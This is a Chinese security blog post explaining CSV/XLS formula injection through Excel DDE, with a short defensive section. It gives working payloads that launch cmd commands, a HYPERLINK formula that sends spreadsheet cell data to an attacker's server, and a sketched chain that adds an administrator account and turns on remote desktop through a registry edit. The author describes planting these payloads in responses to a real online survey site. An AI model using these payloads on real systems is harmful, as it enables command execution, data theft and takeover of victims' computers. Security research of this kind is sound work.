设备/客户端安全

CSV/XLS Injection Vulnerability 分析利用和YY

字号+ 作者:0nise 来源:i春秋社区 2016-11-25 09:34 我要评论( )

前段时间看见有人写文章讲csv注入的问题,了解后发现在国外两年前已经有人提了,今天有空也来看看这个漏洞。注入漏洞作为漏洞圈的常客,一般都是由于盲目信任用户......


前段时间看见有人写文章讲csv注入的问题,了解后发现在国外两年前已经有人提了,今天有空也来看看这个漏洞。注入漏洞作为漏洞圈的常客,一般都是由于盲目信任用户可控的数据造成的,也就是平时常说的一句话:All put is evil。

再 说下DDE,Windows的DDE机制基于Windows的消息机制。两个Windows应用程序通过相互之间传递DDE消息进行DDE会话 (Conversation),从而完成数据的请求、应答、传输。这两个应用程序分别称为服务器(Server)和客户(Client)。服务器是数据的 提供者,客户是数据的请求和接受者。

 

0x01 csv/xls 注入 and DDE


在 Excel单元格中,已=或-开头的单元格,里面的内容会按照公式来运行,结合DDE,就可以执行一些系统命令,=DDE(“cmd”;”/C calc”;”__DdeLink_60_870516294″),如下图所示。这里测试用了office2013,注入的命令执行时弹出告警提示框是因 为在CVE-2014-3524中修复过这个问题,所以推荐在低版本进行测试,效果会更好。

1 测试用例:=cmd|’ /C calc’!A0    -cmd|’ /C calc’!A0
 

 

0x02 漏洞实例测试-执行系统命令


这里我选择某个在线问卷网进行测试,首先发起一个问卷调查,然后扫码模拟普通用户进行填写,写入以下攻击代码,最后提交。

测试用例:


1
2
=cmd|’ /C calc’!A0       =HYPERLINK(“http://192.168.1.111:8000/?test=”&D2&D3,”Error: Please click me!”)
=cmd|’ /k net user’!A0        =cmd|’ /k ipconfig’!A0

 

然后在本地用python起一个简单的服务器,监听8000端口,用来测试利用=HYPERLINK跳转访问恶意网站,窃取文档中的敏感信息的漏洞。原理很简单,在你的服务器日志中看访问网站的HTTP请求即可,当然你也可以记录来请求的ip地址,后面也有机会用到。

这里也说一下=HYPERLINK几种简单的用法:


1
2
3
=HYPERLINK(“#A1″,”跳到A1单元格”)
=HYPERLINK(“C:\Users\sdl0day\Desktop\武器库”,”武器库”)
=HYPERLINK(“http://www.sdl0day.com/”,”点我访问网站”)

 

正 常情况下,问卷调查结束后,问卷发起人会导出问卷调查结果到本地就行查看,当问卷发起人点击存在攻击代码的单元格后,即可触发命令执行;这里我导出后是 xls格式(csv格式同理,本地测试结果和xls格式一致),打开后点击单元格,测试结果如下(当前账户:administrator权限),可以看到 成功执行了我们在问卷填写提交的命令:

 

0x03 漏洞其他利用姿势-添加管理员账户并窃取xls中的数据


今 天我又yy了一下,如果目标机器安装的office版本较低或者没有及时打补丁,我们在提交的数据中依次填入添加管理员账户命令,利用cmd /c 隐藏执行命令,同时利用=HYPERLINK窃取表格里的部分数据发送到攻击者的服务器,也可以获取到目标机器的IP地址,这样如果目标机器允许3389 连接,那还是有一定的概率拿下的。当然了这个概率很低,跟买彩票差不多了,但不失为一个思路,社工的时候也许会有奇效,具体利用方式如下。

来 yy一下点击顺序为:问卷发起人点击有攻击代码的单元格(低版本office,xp系统)–>执行命令添加用户–>加入到管理员组— >=HYPERLINK访问你的网站获取目标ip–>然后你登录过去。。。。3389万一没开,xp这种老机器还可以   REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  开一下(单纯的yy,咳咳,回到正题)。

 

0x04 csv/xls 全文数据窃取


evi1m0在他的文章中写了这么一段话,我本地没有2016的版本没有测试,所以给大家分享过来,有兴趣的同学可以试一试,可以的话欢迎分享测试结果给我。

“2016 之前的 excel 和其他的版本的连接字符串的函数 concatenate 不支持 cell range 的语法,也不能自定义函数,这样的话就没有办法简写,只能生成比较长的url,但 2016 之后的 excel 我们可以使用 concat 函数,支持传入一个 range,比如 concat(A1:A10) ,这样便能直接读取整个表格中的数据。”

 

0x05  漏洞防御


通用粗暴方案:过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat(等。

当然粗暴的方案肯定会有问题,比如某些业务场景下就有输入特殊格式字符串的需求,因此可以替换攻击代码中的关键字符也可以试试,比如把|转换为¦等,同时在后端配合正则进行校验,主要还是看业务场景。

 

0x06 参考文章


1.http://www.contextis.com/resources/blog/comma-separated-vulnerabilities

2.http://www.n0tr00t.com/2016/05/17/CSV-Injection.html

3.http://www.securityfocus.com/bid/69351本文由 安全客 原创发布
原文地址:http://bobao.360.cn/learning/detail/2997.html


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/hack/Client/256.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~